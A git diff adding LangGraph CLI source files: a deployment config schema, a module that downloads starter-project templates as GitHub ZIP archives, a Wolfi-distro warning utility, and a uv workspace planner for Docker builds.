+    """
+
+    package: str
+    """Optional. Workspace package name to deploy when the target is ambiguous.
+
+    If omitted, the CLI tries to infer the target package from the location of
+    `langgraph.json`, or falls back to the only package if the root contains
+    exactly one candidate.
+    """
+
+
+class Config(TypedDict, total=False):
+    """Top-level config for langgraph-cli or similar deployment tooling."""
+
+    python_version: str
+    """Optional. Python version in 'major.minor' format (e.g. '3.11').
+    Must be at least 3.11 or greater for this deployment to function properly.
+    """
+
+    node_version: str | None
+    """Optional. Node.js version as a major version (e.g. '20'), if your deployment needs Node.
+    Must be >= 20 if provided.
+    """
+
+    api_version: str | None
+    """Optional. Which semantic version of the LangGraph API server to use.
+
+    Defaults to latest. Check the
+    [changelog](https://docs.langchain.com/langgraph-platform/langgraph-server-changelog)
+    for more information."""
+
+    _INTERNAL_docker_tag: str | None
+    """Optional. Internal use only.
+    """
+
+    base_image: str | None
+    """Optional. Base image to use for the LangGraph API server.
+
+    Defaults to langchain/langgraph-api or langchain/langgraphjs-api."""
+
+    image_distro: Distros | None
+    """Optional. Linux distribution for the base image.
+
+    Must be one of 'wolfi', 'debian', or 'bookworm'.
+    If omitted, defaults to 'debian' ('latest').
+    """
+
+    pip_config_file: str | None
+    """Optional. Path to a pip config file (e.g., "/etc/pip.conf" or "pip.ini") for controlling
+    package installation (custom indices, credentials, etc.).
+
+    Only relevant if Python dependencies are installed via pip. If omitted, default pip settings are used.
+    """
+
+    pip_installer: str | None
+    """Optional. Python package installer to use ('auto', 'pip', or 'uv').
+
+    - 'auto' (default): Use uv for supported base images, otherwise pip
+    - 'pip': Force use of pip regardless of base image support
+    - 'uv': Force use of uv (will fail if base image doesn't support it)
+    """
+
+    source: UvSource | None
+    """Optional. Explicit deployment source configuration.
+
+    Use `{ "kind": "uv", "root": "." }` to deploy from a uv project rooted at
+    `root/pyproject.toml` and `root/uv.lock`. If `root` is a workspace and the
+    target is ambiguous, set `package` to the desired workspace member.
+    """
+
+    dockerfile_lines: list[str]
+    """Optional. Additional Docker instructions that will be appended to your base Dockerfile.
+
+    Useful for installing OS packages, setting environment variables, etc.
+    Example:
+        dockerfile_lines=[
+            "RUN apt-get update && apt-get install -y libmagic-dev",
+            "ENV MY_CUSTOM_VAR=hello_world"
+        ]
+    """
+
+    dependencies: list[str]
+    """List of Python dependencies to install, either from PyPI or local paths.
+
+    Examples:
+      - "." or "./src" if you have a local Python package
+      - str (aka "anthropic") for a PyPI package
+      - "git+https://github.com/org/repo.git@main" for a Git-based package
+    Defaults to an empty list, meaning no additional packages installed beyond your base environment.
+
+    This field is not supported when `source.kind` is `uv`.
+    """
+
+    graphs: dict[str, str | GraphDef]
+    """Optional. Named definitions of graphs, each pointing to a Python object.
+
+
+    Graphs can be StateGraph, @entrypoint, or any other Pregel object OR they can point to (async) context
+    managers that accept a single configuration argument (of type RunnableConfig) and return a pregel object
+    (instance of Stategraph, etc.).
+
+    Keys are graph names, values are either "path/to/file.py:object_name" strings
+    or objects with a "path" key and optional "description" key.
+    Example:
+        {
+            "mygraph": "graphs/my_graph.py:graph_definition",
+            "anothergraph": {
+                "path": "graphs/another.py:get_graph",
+                "description": "A graph that does X"
+            }
+        }
+    """
+
+    env: dict[str, str] | str
+    """Optional. Environment variables to set for your deployment.
+
+    - If given as a dict, keys are variable names and values are their values.
+    - If given as a string, it must be a path to a file containing lines in KEY=VALUE format.
+
+    Example as a dict:
+        env={"API_TOKEN": "abc123", "DEBUG": "true"}
+    Example as a file path:
+        env=".env"
+    """
+
+    store: StoreConfig | None
+    """Optional. Configuration for the built-in long-term memory store, including semantic search indexing.
+
+    If omitted, no vector index is set up (the object store will still be present, however).
+    """
+
+    checkpointer: CheckpointerConfig | None
+    """Optional. Configuration for the built-in checkpointer, which handles checkpointing of state.
+
+    If omitted, no checkpointer is set up (the object store will still be present, however).
+    """
+
+    auth: AuthConfig | None
+    """Optional. Custom authentication config, including the path to your Python auth logic and
+    the OpenAPI security definitions it uses.
+    """
+
+    encryption: EncryptionConfig | None
+    """Optional. Custom at-rest encryption config, including the path to your Python encryption logic.
+
+    Allows you to implement custom encryption for sensitive data stored in the database.
+    """
+
+    http: HttpConfig | None
+    """Optional. Configuration for the built-in HTTP server, controlling which custom routes are exposed
+    and how cross-origin requests are handled.
+    """
+
+    webhooks: WebhooksConfig | None
+    """Optional. Webhooks configuration for outbound event delivery.
+
+    Forwarded into the container as `LANGGRAPH_WEBHOOKS`. See `WebhooksConfig`
+    for URL policy and header templating details.
+    """
+
+    ui: dict[str, str] | None
+    """Optional. Named definitions of UI components emitted by the agent, each pointing to a JS/TS file.
+    """
+
+    keep_pkg_tools: bool | list[str] | None
+    """Optional. Control whether to retain Python packaging tools in the final image.
+
+    Allowed tools are: "pip", "setuptools", "wheel".
+    You can also set to true to include all packaging tools.
+    """
+
+
+__all__ = [
+    "Config",
+    "GraphDef",
+    "StoreConfig",
+    "CheckpointerConfig",
+    "AuthConfig",
+    "EncryptionConfig",
+    "HttpConfig",
+    "MiddlewareOrders",
+    "Distros",
+    "TTLConfig",
+    "IndexConfig",
+]
diff --git a/libs/cli/langgraph_cli/templates.py b/libs/cli/langgraph_cli/templates.py
new file mode 100644
index 0000000..bd53902
--- /dev/null
+++ b/libs/cli/langgraph_cli/templates.py
@@ -0,0 +1,186 @@
+import os
+import shutil
+import sys
+from io import BytesIO
+from urllib import error, request
+from zipfile import ZipFile
+
+import click
+
+TEMPLATES: dict[str, dict[str, str]] = {
+    "Deep Agent": {
+        "description": "An opinionated deployment template for a Deep Agent.",
+        "python": "https://github.com/langchain-ai/deep-agent-template/archive/refs/heads/main.zip",
+        "js": "https://github.com/langchain-ai/deep-agent-template-js/archive/refs/heads/main.zip",
+    },
+    "Agent": {
+        "description": "A simple agent that can be flexibly extended to many tools.",
+        "python": "https://github.com/langchain-ai/simple-agent-template/archive/refs/heads/main.zip",
+    },
+    "New LangGraph Project": {
+        "description": "A simple, minimal chatbot with memory.",
+        "python": "https://github.com/langchain-ai/new-langgraph-project/archive/refs/heads/main.zip",
+        "js": "https://github.com/langchain-ai/new-langgraphjs-project/archive/refs/heads/main.zip",
+    },
+}
+
+# Generate TEMPLATE_IDS programmatically
+TEMPLATE_ID_TO_CONFIG = {
+    f"{name.lower().replace(' ', '-')}-{lang}": (name, lang, url)
+    for name, versions in TEMPLATES.items()
+    for lang, url in versions.items()
+    if lang in {"python", "js"}
+}
+
+TEMPLATE_IDS = list(TEMPLATE_ID_TO_CONFIG.keys())
+
+TEMPLATE_HELP_STRING = (
+    "The name of the template to use. Available options:\n"
+    + "\n".join(f"{id_}" for id_ in TEMPLATE_ID_TO_CONFIG)
+)
+
+
+def _choose_template() -> str:
+    """Presents a list of templates to the user and prompts them to select one.
+
+    Returns:
+        str: The URL of the selected template.
+    """
+    click.secho("🌟 Please select a template:", bold=True, fg="yellow")
+    for idx, (template_name, template_info) in enumerate(TEMPLATES.items(), 1):
+        click.secho(f"{idx}. ", nl=False, fg="cyan")
+        click.secho(template_name, fg="cyan", nl=False)
+        click.secho(f" - {template_info['description']}", fg="white")
+
+    # Get the template choice from the user, defaulting to the first template if blank
+    template_choice: int | None = click.prompt(
+        "Enter the number of your template choice (default is 1)",
+        type=int,
+        default=1,
+        show_default=False,
+    )
+
+    template_keys = list(TEMPLATES.keys())
+    if 1 <= template_choice <= len(template_keys):
+        selected_template: str = template_keys[template_choice - 1]
+    else:
+        click.secho("❌ Invalid choice. Please try again.", fg="red")
+        return _choose_template()
+
+    template_info = TEMPLATES[selected_template]
+    available_langs = [lang for lang in ("python", "js") if lang in template_info]
+
+    click.secho(
+        f"\nYou selected: {selected_template} - {template_info['description']}",
+        fg="green",
+    )
+
+    if len(available_langs) == 1:
+        return template_info[available_langs[0]]
+
+    version_choice: int = click.prompt(
+        "Choose language (1 for Python 🐍, 2 for JS/TS 🌐)", type=int
+    )
+
+    if version_choice == 1:
+        return template_info["python"]
+    elif version_choice == 2:
+        return template_info["js"]
+    else:
+        click.secho("❌ Invalid choice. Please try again.", fg="red")
+        return _choose_template()
+
+
+def _download_repo_with_requests(repo_url: str, path: str) -> None:
+    """Download a ZIP archive from the given URL and extracts it to the specified path.
+
+    Args:
+        repo_url: The URL of the repository to download.
+        path: The path where the repository should be extracted.
+    """
+    click.secho("📥 Attempting to download repository as a ZIP archive...", fg="yellow")
+    click.secho(f"URL: {repo_url}", fg="yellow")
+    try:
+        with request.urlopen(repo_url) as response:
+            if response.status == 200:
+                with ZipFile(BytesIO(response.read())) as zip_file:
+                    zip_file.extractall(path)
+                    # Move extracted contents to path
+                    for item in os.listdir(path):
+                        if item.endswith("-main"):
+                            extracted_dir = os.path.join(path, item)
+                            for filename in os.listdir(extracted_dir):
+                                shutil.move(os.path.join(extracted_dir, filename), path)
+                            shutil.rmtree(extracted_dir)
+                click.secho(
+                    f"✅ Downloaded and extracted repository to {path}", fg="green"
+                )
+    except error.HTTPError as e:
+        click.secho(
+            f"❌ Error: Failed to download repository.\nDetails: {e}\n",
+            fg="red",
+            bold=True,
+            err=True,
+        )
+        sys.exit(1)
+
+
+def create_new(path: str | None, template: str | None) -> None:
+    """Create a new LangGraph project at the specified PATH using the chosen TEMPLATE.
+
+    Args:
+        path: The path where the new project will be created.
+        template: The name of the template to use.
+    """
+    # Prompt for path if not provided
+    if not path:
+        path = click.prompt(
+            "📂 Please specify the path to create the application", default="."
+        )
+
+    path = os.path.abspath(path)  # Ensure path is absolute
+
+    # Check if path exists and is not empty
+    if os.path.exists(path) and os.listdir(path):
+        click.secho(
+            "❌ The specified directory already exists and is not empty. "
+            "Aborting to prevent overwriting files.",
+            fg="red",
+            bold=True,
+        )
+        sys.exit(1)
+
+    # Get template URL either from command-line argument or
+    # through interactive selection
+    if template:
+        if template not in TEMPLATE_ID_TO_CONFIG:
+            # Format available options in a readable way with descriptions
+            template_options = ""
+            for id_ in TEMPLATE_IDS:
+                name, lang, _ = TEMPLATE_ID_TO_CONFIG[id_]
+                description = TEMPLATES[name]["description"]
+
+                # Add each template option with color formatting
+                template_options += (
+                    click.style("- ", fg="yellow", bold=True)
+                    + click.style(f"{id_}", fg="cyan")
+                    + click.style(f": {description}", fg="white")
+                    + "\n"
+                )
+
+            # Display error message with colors and formatting
+            click.secho("❌ Error:", fg="red", bold=True, nl=False)
+            click.secho(f" Template '{template}' not found.", fg="red")
+            click.secho(
+                "Please select from the available options:\n", fg="yellow", bold=True
+            )
+            click.secho(template_options, fg="cyan")
+            sys.exit(1)
+        _, _, template_url = TEMPLATE_ID_TO_CONFIG[template]
+    else:
+        template_url = _choose_template()
+
+    # Download and extract the template
+    _download_repo_with_requests(template_url, path)
+
+    click.secho(f"🎉 New project created at {path}", fg="green", bold=True)
diff --git a/libs/cli/langgraph_cli/util.py b/libs/cli/langgraph_cli/util.py
new file mode 100644
index 0000000..0dae6a5
--- /dev/null
+++ b/libs/cli/langgraph_cli/util.py
@@ -0,0 +1,50 @@
+"""General-purpose utilities shared across the LangGraph CLI."""
+
+from collections.abc import Callable
+
+import click
+
+
+def clean_empty_lines(input_str: str):
+    return "\n".join(filter(None, input_str.splitlines()))
+
+
+def warn_non_wolfi_distro(
+    config_json: dict,
+    *,
+    emit: Callable[[str], None] | None = None,
+) -> None:
+    """Show warning if image_distro is not set to 'wolfi'.
+
+    When ``emit`` is provided, each warning line is sent through it (used by
+    callers that need JSON-aware output). Otherwise falls back to colored
+    ``click.secho`` output.
+    """
+    image_distro = config_json.get("image_distro", "debian")  # Default is debian
+    if image_distro == "wolfi":
+        return
+    if emit is not None:
+        emit(
+            "⚠️  Security Recommendation: Consider switching to Wolfi Linux for enhanced security."
+        )
+        emit(
+            "   Wolfi is a security-oriented, minimal Linux distribution designed for containers."
+        )
+        emit(
+            '   To switch, add \'"image_distro": "wolfi"\' to your langgraph.json config file.'
+        )
+        return
+    click.secho(
+        "⚠️  Security Recommendation: Consider switching to Wolfi Linux for enhanced security.",
+        fg="yellow",
+        bold=True,
+    )
+    click.secho(
+        "   Wolfi is a security-oriented, minimal Linux distribution designed for containers.",
+        fg="yellow",
+    )
+    click.secho(
+        '   To switch, add \'"image_distro": "wolfi"\' to your langgraph.json config file.',
+        fg="yellow",
+    )
+    click.secho("")  # Empty line for better readability
diff --git a/libs/cli/langgraph_cli/uv_lock.py b/libs/cli/langgraph_cli/uv_lock.py
new file mode 100644
index 0000000..1e33d16
--- /dev/null
+++ b/libs/cli/langgraph_cli/uv_lock.py
@@ -0,0 +1,1039 @@
+import os
+import pathlib
+import re
+import shlex
+from dataclasses import dataclass
+
+try:
+    import tomllib
+except ModuleNotFoundError:  # pragma: no cover - exercised on Python 3.10.
+    import tomli as tomllib
+
+import click
+import pathspec
+
+from langgraph_cli._ignore import (
+    _build_dockerignore_negation_hints,
+    _build_ignore_spec,
+    _is_always_excluded,
+)
+from langgraph_cli.schemas import Config
+
+
+@dataclass(frozen=True, slots=True)
+class UvLockSourceEntry:
+    name: str
+    value: object
+    declared_root: pathlib.Path
+    pyproject_path: pathlib.Path
+
+
+@dataclass(slots=True)
+class UvLockPackage:
+    name: str
+    normalized_name: str
+    root: pathlib.Path
+    pyproject_path: pathlib.Path
+    raw_dependency_specs: object
+    raw_uv_tool: object
+    # Set after validation:
+    package_enabled: bool = False
+    dependency_names: tuple[str, ...] = ()
+    workspace_dependencies: tuple[str, ...] = ()
+
+
+@dataclass(frozen=True, slots=True)
+class UvLockWorkspace:
+    raw_root_source_entries: object
+    packages_by_name: dict[str, UvLockPackage]
+    packages_by_root: dict[pathlib.Path, UvLockPackage]
+
+
+@dataclass(frozen=True, slots=True)
+class UvLockPlan:
+    project_root: pathlib.Path
+    pyproject_path: pathlib.Path
+    uv_lock_path: pathlib.Path
+    target: UvLockPackage
+    target_root: pathlib.Path
+    install_order: tuple[UvLockPackage, ...]
+    container_roots: dict[pathlib.Path, pathlib.PurePosixPath]
+    working_dir: str
+    all_workspace_roots: frozenset[pathlib.Path] = frozenset()
+
+
+@dataclass(slots=True)
+class DockerBuildPlan:
+    lines: list[str]
+
+    def add_blank(self) -> None:
+        self.lines.append("")
+
+    def add_raw(self, line: str) -> None:
+        self.lines.append(line)
+
+    def add_instruction(self, opcode: str, value: str | None = None) -> None:
+        if value:
+            self.lines.append(f"{opcode} {value}")
+        else:
+            self.lines.append(opcode)
+
+    def extend_nonempty(self, items: list[str]) -> None:
+        self.lines.extend(item for item in items if item)
+
+    def render(self) -> str:
+        return os.linesep.join(self.lines)
+
+
+def _normalize_package_name(name: str) -> str:
+    return re.sub(r"[-_.]+", "-", name).lower()
+
+
+def _parse_dependency_name(
+    dependency: str, *, package_name: str, pyproject_path: pathlib.Path
+) -> str:
+    match = re.match(r"^\s*([A-Za-z0-9][A-Za-z0-9._-]*)", dependency)
+    if not match:
+        raise click.UsageError(
+            "source.kind 'uv' only supports PEP 508 dependency strings "
+            f"with an explicit package name. Could not parse dependency "
+            f"{dependency!r} in {pyproject_path} for package '{package_name}'."
+        )
+    return _normalize_package_name(match.group(1))
+
+
+def _load_pyproject(pyproject_path: pathlib.Path) -> dict:
+    with pyproject_path.open("rb") as pyproject_file:
+        return tomllib.load(pyproject_file)
+
+
+def _get_dependency_names(
+    dependency_specs: object, *, package_name: str, pyproject_path: pathlib.Path
+) -> tuple[str, ...]:
+    if dependency_specs is None:
+        dependency_specs = []
+    if not isinstance(dependency_specs, list) or not all(
+        isinstance(spec, str) for spec in dependency_specs
+    ):
+        raise click.UsageError(
+            "source.kind 'uv' requires [project].dependencies to be a "
+            f"list of strings in {pyproject_path}."
+        )
+    return tuple(
+        _parse_dependency_name(
+            spec,
+            package_name=package_name,
+            pyproject_path=pyproject_path,
+        )
+        for spec in dependency_specs
+    )
+
+
+def _validate_uv_lock_source_entry(
+    *,
+    source_name: str,
+    source_value: object,
+    declared_root: pathlib.Path,
+    pyproject_path: pathlib.Path,
+    project_root: pathlib.Path,
+    packages_by_name: dict[str, UvLockPackage],
+    packages_by_root: dict[pathlib.Path, UvLockPackage],
+) -> set[str]:
+    workspace_dependencies: set[str] = set()
+    if isinstance(source_value, list):
+        for item in source_value:
+            workspace_dependencies.update(
+                _validate_uv_lock_source_entry(
+                    source_name=source_name,
+                    source_value=item,
+                    declared_root=declared_root,
+                    pyproject_path=pyproject_path,
+                    project_root=project_root,
+                    packages_by_name=packages_by_name,
+                    packages_by_root=packages_by_root,
+                )
+            )
+        return workspace_dependencies
+
+    if not isinstance(source_value, dict):
+        return workspace_dependencies
+
+    normalized_source_name = _normalize_package_name(source_name)
+    package: UvLockPackage | None = None
+
+    if source_value.get("workspace") is True:
+        package = packages_by_name.get(normalized_source_name)
+        if package is None:
+            raise click.UsageError(
+                f"'{source_name}' in {pyproject_path} is marked as "
+                "`{{ workspace = true }}` but no matching workspace package was "
+                f"found under project_root ({project_root}). Check that "
+                f"'{source_name}' appears in [tool.uv.workspace].members."
+            )
+        if not _get_uv_lock_package_enabled(package):
+            raise click.UsageError(
+                f"'{source_name}' in {pyproject_path} is a workspace dependency "
+                f"but sets `tool.uv.package = false` in {package.pyproject_path}. "
+                "Workspace dependencies must be buildable packages."
+            )
+        workspace_dependencies.add(package.normalized_name)
+
+    path_ref = source_value.get("path")
+    if isinstance(path_ref, str):
+        if (
+            pathlib.Path(path_ref).is_absolute()
+            or pathlib.PurePosixPath(path_ref).is_absolute()
+        ):
+            raise click.UsageError(
+                f"'{source_name}' in {pyproject_path} uses an absolute path "
+                f"({path_ref}), which is not supported. Use a relative path or "
+                "`{{ workspace = true }}` instead."
+            )
+
+        resolved = (declared_root / path_ref).resolve()
+        if project_root != resolved and project_root not in resolved.parents:
+            raise click.UsageError(
+                f"'{source_name}' in {pyproject_path} uses a path source that "
+                f"resolves to {resolved}, which is outside project_root "
+                f"({project_root})."
+            )
+
+        package = packages_by_root.get(resolved)
+        if package is None:
+            raise click.UsageError(
+                f"'{source_name}' in {pyproject_path} uses a path source that "
+                f"resolves to {resolved}, which is not a workspace package under "
+                f"project_root ({project_root})."
+            )
+        if package.normalized_name != normalized_source_name:
+            raise click.UsageError(
+                f"'{source_name}' in {pyproject_path} points to {resolved}, which "
+                f"defines package '{package.name}'. The dependency name and the "
+                "workspace package name must match."
+            )
+        if not _get_uv_lock_package_enabled(package):
+            raise click.UsageError(
+                f"'{source_name}' in {pyproject_path} resolves to workspace package "
+                f"'{package.name}', which sets `tool.uv.package = false` in "
+                f"{package.pyproject_path}. Workspace dependencies must be "
+                "buildable packages."
+            )
+        workspace_dependencies.add(package.normalized_name)
+
+    for key, nested_value in source_value.items():
+        if key in {"workspace", "path"}:
+            continue
+        workspace_dependencies.update(
+            _validate_uv_lock_source_entry(
+                source_name=source_name,
+                source_value=nested_value,
+                declared_root=declared_root,
+                pyproject_path=pyproject_path,
+                project_root=project_root,
+                packages_by_name=packages_by_name,
+                packages_by_root=packages_by_root,
+            )
+        )
+    return workspace_dependencies
+
+
+def _get_uv_lock_package_enabled(package: UvLockPackage) -> bool:
+    uv_tool = package.raw_uv_tool
+    if uv_tool and not isinstance(uv_tool, dict):
+        raise click.UsageError(
+            "source.kind 'uv' requires [tool.uv] to be a table "
+            f"in {package.pyproject_path}."
+        )
+    package_enabled = (
+        uv_tool.get("package", True) if isinstance(uv_tool, dict) else True
+    )
+    if not isinstance(package_enabled, bool):
+        raise click.UsageError(
+            "source.kind 'uv' requires [tool.uv].package to be a boolean "
+            f"in {package.pyproject_path}."
+        )
+    return package_enabled
+
+
+def _get_uv_lock_source_entries(
+    package: UvLockPackage,
+    *,
+    project_root: pathlib.Path,
+    root_pyproject_path: pathlib.Path,
+    raw_root_source_entries: object,
+) -> tuple[UvLockSourceEntry, ...]:
+    if not isinstance(raw_root_source_entries, dict):
+        raise click.UsageError(
+            "source.kind 'uv' requires [tool.uv.sources] to be a table "
+            f"in {root_pyproject_path}."
+        )
+
+    uv_tool = package.raw_uv_tool
+    package_source_entries = (
+        uv_tool.get("sources", {}) if isinstance(uv_tool, dict) else {}
+    )
+    if not isinstance(package_source_entries, dict):
+        raise click.UsageError(
+            "source.kind 'uv' requires [tool.uv.sources] to be a table "
+            f"in {package.pyproject_path}."
+        )
+
+    source_entries: dict[str, UvLockSourceEntry] = {
+        source_name: UvLockSourceEntry(
+            name=source_name,
+            value=source_value,
+            declared_root=project_root,
+            pyproject_path=root_pyproject_path,
+        )
+        for source_name, source_value in raw_root_source_entries.items()
+    }
+    source_entries.update(
+        {
+            source_name: UvLockSourceEntry(
+                name=source_name,
+                value=source_value,
+                declared_root=package.root,
+                pyproject_path=package.pyproject_path,
+            )
+            for source_name, source_value in package_source_entries.items()
+        }
+    )
+    return tuple(source_entries.values())
+
+
+def _validate_uv_lock_package(
+    package: UvLockPackage,
+    *,
+    project_root: pathlib.Path,
+    root_pyproject_path: pathlib.Path,
+    raw_root_source_entries: object,
+    packages_by_name: dict[str, UvLockPackage],
+    packages_by_root: dict[pathlib.Path, UvLockPackage],
+) -> None:
+    dependency_names = _get_dependency_names(
+        package.raw_dependency_specs,
+        package_name=package.name,
+        pyproject_path=package.pyproject_path,
+    )
+    dependency_name_set = set(dependency_names)
+
+    workspace_dependency_names: set[str] = set()
+    for source_entry in _get_uv_lock_source_entries(
+        package,
+        project_root=project_root,
+        root_pyproject_path=root_pyproject_path,
+        raw_root_source_entries=raw_root_source_entries,
+    ):
+        if _normalize_package_name(source_entry.name) not in dependency_name_set:
+            continue
+        workspace_dependency_names.update(
+            _validate_uv_lock_source_entry(
+                source_name=source_entry.name,
+                source_value=source_entry.value,
+                declared_root=source_entry.declared_root,
+                pyproject_path=source_entry.pyproject_path,
+                project_root=project_root,
+                packages_by_name=packages_by_name,
+                packages_by_root=packages_by_root,
+            )
+        )
+
+    package.package_enabled = _get_uv_lock_package_enabled(package)
+    package.dependency_names = dependency_names
+    package.workspace_dependencies = tuple(
+        dependency_name
+        for dependency_name in dependency_names
+        if dependency_name in workspace_dependency_names
+    )
+
+
+def _discover_uv_lock_workspace_packages(
+    project_root: pathlib.Path, pyproject_path: pathlib.Path
+) -> UvLockWorkspace:
+    root_data = _load_pyproject(pyproject_path)
+    root_source_entries = root_data.get("tool", {}).get("uv", {}).get("sources", {})
+
+    candidate_roots: list[pathlib.Path] = []
+    root_project = root_data.get("project", {})
+    if isinstance(root_project, dict) and isinstance(root_project.get("name"), str):
+        candidate_roots.append(project_root)
+
+    workspace_members = (
+        root_data.get("tool", {}).get("uv", {}).get("workspace", {}).get("members", [])
+    )
+    if workspace_members and not isinstance(workspace_members, list):
+        raise click.UsageError(
+            "source.kind 'uv' requires [tool.uv.workspace].members to be a list."
+        )
+
+    for pattern in workspace_members:
+        if not isinstance(pattern, str):
+            raise click.UsageError(
+                "source.kind 'uv' requires every [tool.uv.workspace].members "
+                "entry to be a string."
+            )
+        for match in sorted(project_root.glob(pattern)):
+            package_root = match if match.is_dir() else match.parent
+            package_root = package_root.resolve()
+            if (package_root / "pyproject.toml").is_file():
+                candidate_roots.append(package_root)
+
+    unique_roots: list[pathlib.Path] = []
+    seen_roots: set[pathlib.Path] = set()
+    for root in candidate_roots:
+        if root not in seen_roots:
+            unique_roots.append(root)
+            seen_roots.add(root)
+
+    packages: list[UvLockPackage] = []
+    for package_root in unique_roots:
+        member_pyproject_path = package_root / "pyproject.toml"
+        pyproject_data = _load_pyproject(member_pyproject_path)
+
+        project_data = pyproject_data.get("project", {})
+        package_name = (
+            project_data.get("name") if isinstance(project_data, dict) else None
+        )
+        if not isinstance(package_name, str) or not package_name.strip():
+            raise click.UsageError(
+                "source.kind 'uv' requires every workspace package to define "
+                f"[project].name in {member_pyproject_path}."
+            )
+
+        packages.append(
+            UvLockPackage(
+                name=package_name,
+                normalized_name=_normalize_package_name(package_name),
+                root=package_root,
+                pyproject_path=member_pyproject_path,
+                raw_dependency_specs=project_data.get("dependencies", []),
+                raw_uv_tool=pyproject_data.get("tool", {}).get("uv", {}),
+            )
+        )
+
+    packages_by_name: dict[str, UvLockPackage] = {}
+    packages_by_root: dict[pathlib.Path, UvLockPackage] = {}
+    for package in packages:
+        existing = packages_by_name.get(package.normalized_name)
+        if existing is not None:
+            raise click.UsageError(
+                "source.kind 'uv' requires unique workspace package names, "
+                f"but both {existing.pyproject_path} and {package.pyproject_path} "
+                f"define '{package.name}'."
+            )
+        packages_by_name[package.normalized_name] = package
+        packages_by_root[package.root] = package
+
+    return UvLockWorkspace(
+        raw_root_source_entries=root_source_entries,
+        packages_by_name=packages_by_name,
+        packages_by_root=packages_by_root,
+    )
+
+
+def _container_workspace_root() -> pathlib.PurePosixPath:
+    return pathlib.PurePosixPath("/deps/workspace")
+
+
+def _container_root_for_uv_lock_package(
+    project_root: pathlib.Path, package_root: pathlib.Path
+) -> pathlib.PurePosixPath:
+    container_root = _container_workspace_root()
+    relative_root = package_root.relative_to(project_root)
+    if relative_root == pathlib.Path("."):
+        return container_root
+    return container_root.joinpath(*relative_root.parts)
+
+
+def _uv_lock_package_copy_items(
+    package: UvLockPackage,
+    plan: UvLockPlan,
+    ignore_spec: pathspec.PathSpec,
+) -> tuple[tuple[pathlib.PurePosixPath, pathlib.PurePosixPath], ...]:
+    # Skip entries that .dockerignore / built-in exclusions would strip from
+    # the build context. Emitting `ADD ` for a file that Docker has
+    # filtered out causes the build to fail with
+    # "failed to compute cache key:  not found".
+    if package.root != plan.project_root:
+        relative_root = pathlib.PurePosixPath(
+            *package.root.relative_to(plan.project_root).parts
+        )
+        if _is_always_excluded(relative_root, is_dir=True) or ignore_spec.match_file(
+            f"{relative_root.as_posix()}/"
+        ):
+            raise click.UsageError(
+                f"Workspace member '{package.name}' at {relative_root} is "
+                "excluded from the Docker build context, but uv.lock requires "
+                "it to be copied into the build context. Remove the matching "
+                "pattern or drop the member from [tool.uv.workspace].members."
+            )
+        return ((relative_root, plan.container_roots[package.root]),)
+
+    root_container = plan.container_roots[package.root]
+    workspace_member_roots = plan.all_workspace_roots - {plan.project_root}
+    negated_dockerignore_hints = _build_dockerignore_negation_hints(plan.project_root)
+
+    def iter_entries(
+        current_dir: pathlib.Path,
+    ) -> tuple[tuple[pathlib.PurePosixPath, pathlib.PurePosixPath], ...]:
+        entries: list[tuple[pathlib.PurePosixPath, pathlib.PurePosixPath]] = []
+        for child in sorted(current_dir.iterdir(), key=lambda path: path.name):
+            if child in workspace_member_roots:
+                # Workspace members are copied separately if they are in the closure,
+                # and excluded entirely otherwise.
+                continue
+
+            relative_child = pathlib.PurePosixPath(
+                *child.relative_to(plan.project_root).parts
+            )
+            is_dir = child.is_dir()
+            if _is_always_excluded(relative_child, is_dir=is_dir):
+                continue
+            ignored = ignore_spec.match_file(
+                f"{relative_child.as_posix()}/" if is_dir else relative_child.as_posix()
+            )
+            is_workspace_parent = is_dir and any(
+                child in ws_root.parents for ws_root in workspace_member_roots
+            )
+
+            if is_workspace_parent:
+                entries.extend(iter_entries(child))
+                continue
+            if (
+                is_dir
+                and ignored
+                and negated_dockerignore_hints.requires_dir_walk(relative_child)
+            ):
+                entries.extend(iter_entries(child))
+                continue
+            if ignored:
+                continue
+
+            entries.append(
+                (relative_child, root_container.joinpath(*relative_child.parts))
+            )
+        return tuple(entries)
+
+    return iter_entries(plan.project_root)
+
+
+def _resolve_uv_lock_container_path(
+    host_path: pathlib.Path, plan: UvLockPlan
+) -> pathlib.PurePosixPath | None:
+    for package_root in sorted(
+        plan.container_roots, key=lambda path: len(path.parts), reverse=True
+    ):
+        if host_path == package_root or package_root in host_path.parents:
+            # Guard against the workspace root matching paths inside
+            # unrelated workspace members that are not in the closure.
+            if plan.all_workspace_roots and _path_in_unrelated_member(
+                host_path, package_root, plan
+            ):
+                continue
+            relative_path = host_path.relative_to(package_root)
+            container_root = plan.container_roots[package_root]
+            if relative_path == pathlib.Path("."):
+                return container_root
+            return container_root.joinpath(*relative_path.parts)
+    return None
+
+
+def _path_in_unrelated_member(
+    host_path: pathlib.Path,
+    matched_root: pathlib.Path,
+    plan: UvLockPlan,
+) -> bool:
+    """Return True if host_path is inside a workspace member NOT in the closure.
+
+    When matched_root is the project root (workspace root), it is a parent of
+    every file in the workspace.  We need to reject paths that actually belong
+    to a sibling workspace member that was not selected for deployment.
+    """
+    for ws_root in plan.all_workspace_roots:
+        if ws_root == matched_root:
+            continue
+        # ws_root is more specific than matched_root
+        if ws_root in matched_root.parents:
+            continue
+        if host_path == ws_root or ws_root in host_path.parents:
+            # host_path is inside this workspace member
+            if ws_root not in plan.container_roots:
+                return True
+    return False
+
+
+def _infer_uv_lock_target_package(
+    *,
+    config_root: pathlib.Path,
+    project_root: pathlib.Path,
+    source: dict,
+    packages_by_name: dict[str, UvLockPackage],
+    packages_by_root: dict[pathlib.Path, UvLockPackage],
+) -> UvLockPackage:
+    package_name = source.get("package")
+    if package_name is not None:
+        if not isinstance(package_name, str) or not package_name.strip():
+            raise click.UsageError("`source.package` must be a non-empty string.")
+        target = packages_by_name.get(_normalize_package_name(package_name))
+        if target is None:
+            available_packages = ", ".join(
+                sorted(package.name for package in packages_by_name.values())
+            )
+            raise click.UsageError(
+                "Could not find source.package "
+                f"'{package_name}' in the uv project at {project_root}. "
+                "It must match a [project].name from one of the discovered "
+                f"packages. Available packages: {available_packages or '(none)'}."
+            )
+        return target
+
+    containing_packages = sorted(
+        (
+            package
+            for package_root, package in packages_by_root.items()
+            if config_root == package_root or package_root in config_root.parents
+        ),
+        key=lambda package: len(package.root.parts),
+        reverse=True,
+    )
+    if containing_packages:
+        target = containing_packages[0]
+        if (
+            target.root != project_root
+            or len(packages_by_name) == 1
+            or config_root == project_root
+        ):
+            return target
+
+    if len(packages_by_name) == 1:
+        return next(iter(packages_by_name.values()))
+
+    available_packages = ", ".join(
+        sorted(package.name for package in packages_by_name.values())
+    )
